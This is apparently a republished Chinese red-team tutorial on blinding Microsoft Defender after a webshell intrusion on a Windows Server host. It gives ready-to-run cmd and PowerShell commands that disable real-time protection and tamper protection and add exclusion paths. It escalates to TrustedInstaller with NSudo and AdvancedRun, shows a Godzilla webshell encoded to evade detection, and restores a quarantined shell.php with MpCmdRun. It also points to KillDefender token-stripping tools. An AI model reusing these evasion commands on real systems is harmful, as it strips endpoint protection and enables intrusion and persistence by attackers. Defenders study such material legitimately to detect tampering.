红蓝对抗之致盲 Windows defender
2022-11-26 19:0:57 Author: 猪猪谈安全(查看原文) 阅读量:14 收藏

Microsoft Defender 防病毒软件在 Windows 10 和 Windows 11 以及 Windows Server 版本中可用。

Microsoft Defender 防病毒软件是 Microsoft Defender for Endpoint 中下一代保护的主要组件。这种保护将机器学习、大数据分析、深入的威胁防御研究和 Microsoft 云基础设施结合在一起,以保护您组织中的设备(或端点)。Microsoft Defender 防病毒软件内置于 Windows 中,它与 Microsoft Defender for Endpoint 配合使用,为你的设备和云提供保护。

版本

  • 用户:Administrator

  • 版本:Windows Server 2019

补丁

systeminfo 信息

在实战环境中,首先需要上传webshell,所以在此必须免杀webshell

web环境:phpstudy 8.1.1.3 + apache 2.4.39 + php 7.3.4

哥斯拉 webshell 免杀

工具地址:https://github.com/BeichenDream/Godzilla

经过测试,用Godzilla自带的PHP_XOR_BASE64加密器即可免杀(php一句话直接杀)

生成 PHP_XOR_BASE64 webshell

静态免杀测试

连接webshell

动态免杀测试

cmd

#查看排除项
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions" /s
#查看版本
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b
#查看篡改保护(返回结果中的 数值5代表开启,数值4代表关闭)
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection"

#需要TrustedInstaller权限
##cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
##cmd关闭篡改保护
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /d 4 /t REG_DWORD /f"
##cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
##cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f

powershell

#查看排除项
Get-MpPreference | select ExclusionPath

#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true

#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"

#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"

#关闭实时保护
Set-MpPreference -DisableRealtimeMonitoring $true

TrustedInstaller

TrustedInstaller是从Windows Vista开始出现的一个内置安全主体,在Windows中拥有修改系统文件权限,本身是一个服务,以一个账户组的形式出现。

它的全名是:NT SERVICE\TrustedInstaller

为什么要获取TrustedInstaller权限?

说白了就是因为Administratior权限system权限无法关闭 Windows defender

注意:以下工具技巧皆需要Administratior权限才能成功使用

NSudoLG

工具地址:https://github.com/M2Team/NSudo

下载后使用:D:\Documents\NSudo_8.2_All_Components\NSudo Launcher\x64\NSudoLG.exe

免杀测试

使用方法

注意:此工具的 -U:T 参数是获取了 TrustedInstaller 权限

#cmd注册表关闭Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f
#cmd注册表恢复Windows defender
reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f
#cmd添加Windows defender排除项
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f

#NSudoLG.exe关闭Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 1 /f"
#NSudoLG.exe恢复Windows defender
NSudoLG.exe -U:T cmd /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v DisableAntiSpyware /t reg_dword /d 0 /f"
#NSudoLG.exe添加Windows defender排除项
NSudoLG.exe -U:T cmd /c "reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "c:\temp" /d 0 /t REG_DWORD /f"

powershell成功上线

AdvancedRun

地址:https://www.nirsoft.net/utils/advanced_run.html

免杀测试

使用方法

AdvancedRun.exe /EXEFilename "%windir%\system32\cmd.exe" /CommandLine '/c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /d 1 /t REG_DWORD /f' /RunAs 8 /Run

powershell成功上线

StopDefender

Github地址:https://github.com/lab52io/StopDefender

免杀测试

使用方法

StopDefender_x64.exe

powershell成功上线

powershell

#查看排除项
Get-MpPreference | select ExclusionPath

#关闭Windows defender
Set-MpPreference -DisableRealTimeMonitoring $true

#增加排除项
Add-MpPreference -ExclusionPath "c:\temp"

#删除排除项
Remove-MpPreference -ExclusionPath "C:\test"

关闭 Windows defender

关闭 实时保护

Set-MpPreference -DisableRealtimeMonitoring $true

MpCmdRun恢复被隔离的文件

MpCmdRun介绍

配置和管理 Microsoft Defender 防病毒软件的命令行工具

详情

https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/command-line-arguments-microsoft-defender-antivirus?view=o365-worldwide

寻找MpCmdRun位置

MpCmdRun的位置为:

C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>

#查看版本(查看<antimalware platform version>)
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\" /od /ad /b

#验证
dir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2210.6-0\" | findstr MpCmdRun

基础命令

#查看被隔离的文件列表
MpCmdRun -Restore -ListAll

#恢复指定名称的文件至原目录
MpCmdRun -Restore -FilePath C:\phpstudy_pro\WWW\shell.php

#恢复所有文件至原目录
MpCmdRun -Restore -All

#查看指定路径是否位于排除列表中
MpCmdRun -CheckExclusion -path C:\phpstudy_pro\WWW\

移除Token导致Windows Defender失效

Windows Defender进程为MsMpEng.exe,MsMpEng.exe是一个受保护的进程(Protected Process Light,简写为PPL)

非 PPL 进程无法获取 PPL 进程的句柄,导致我们无法直接结束 PPL 进程 MsMpEng.exe, 但是我们能够以 SYSTEM 权限运行的线程修改进程 MsMpEng.exe 的 token, 当我们移除进程 MsMpEng.exe 的所有 token 后,进程 MsMpEng.exe 无法访问其他进程的资源,也就无法检测其他进程是否有害,最终导致 Windows Defender 失效。

本人没有利用成功过

工具地址

https://github.com/pwn1sher/KillDefender

https://github.com/Octoberfest7/KillDefender

https://github.com/Octoberfest7/KDStab

https://mp.weixin.qq.com/s/27rvHpsnldnxpJaxwQrLGw

https://zhuanlan.zhihu.com/p/538571344

https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-Windows-Defender

https://cloud.tencent.com/developer/article/1870239

 点击下方小卡片或扫描下方二维码观看更多技术文章

师傅们点赞、转发、在看就是最大的支持


文章来源: http://mp.weixin.qq.com/s?__biz=MzIyMDAwMjkzNg==&mid=2247506520&idx=1&sn=91fc046bfb58e19ea33cbf93883aedcc&chksm=97d0354fa0a7bc594a8ca516ebef28b045e976e3bc4e749d236c104f6d01fb0395c6dc2a0994#rd
如有侵权请联系:admin#unsafe.sh